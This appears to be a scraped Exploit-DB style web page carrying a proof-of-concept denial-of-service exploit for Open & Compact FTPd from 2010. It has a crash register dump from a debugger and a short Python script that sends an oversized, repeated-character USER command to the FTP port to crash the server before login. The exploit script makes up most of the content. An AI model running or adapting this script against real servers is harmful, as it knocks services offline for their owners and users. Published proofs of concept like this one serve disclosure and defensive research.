扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
# Title: Open & Compact FTPd Pre-Authentication Crash (PoC) # Found by: loneferret # Hat's off to dookie2000ca # Date Found: 07/02/2010 # Software link: https://sourceforge.net/projects/open-ftpd/ # Tested on: Windows XP SP2/SP3 Professional # Nod to the Exploit-DB Team # # It's really just a DoS, but if someone can find more go ahead # #!/usr/bin/python #Registers From Immunity # #EAX FFFFFFFF #ECX 00149A29 #EDX 7C90E4F4 ntdll.KiFastSystemCallRet #EBX 00000000 #ESP 0012FA1C #EBP 00000002 #ESI 0012FA5C #EDI 0012FCB4 #EIP 004113A3 #C 0ES 0023 32bit 0(FFFFFFFF) #P 1CS 001B 32bit 0(FFFFFFFF) #A 0SS 0023 32bit 0(FFFFFFFF) #Z 0DS 0023 32bit 0(FFFFFFFF) #S 1FS 003B 32bit 7FFDF000(FFF) #T 0GS 0000 NULL #D 0 #O 0LastErr ERROR_SUCCESS (00000000) #EFL 00010286 (NO,NB,NE,A,S,PE,L,LE) #ST0 empty %#.19L #ST1 empty -??? FFFF 7C910208 7C90E900 #ST2 empty -UNORM DCD0 7C9101BB 7C91017B #ST3 empty %#.19L #ST4 empty +UNORM 00B2 00000000 00000000 #ST5 empty +UNORM 7D80 77F67D78 01C3DA90 #ST6 empty -UNORM DD24 00000000 00000409 #ST7 empty -UNORM E3F4 0014E3F4 0014E3F4 # 3 2 1 0E S P U O Z D I #FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT) #FCW 027FPrec NEAR,53Mask1 1 1 1 1 1 # #Developper Informed on: 07/02/2010 #Developper Contacted second time on: 08/02/2010 # import socket buffer = ("\x41\x2C\x20") * 200 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.1.112',21)) s.recv(1024) s.send('USER '+buffer+'\r\n') s.recv(1024) |
体验盒子
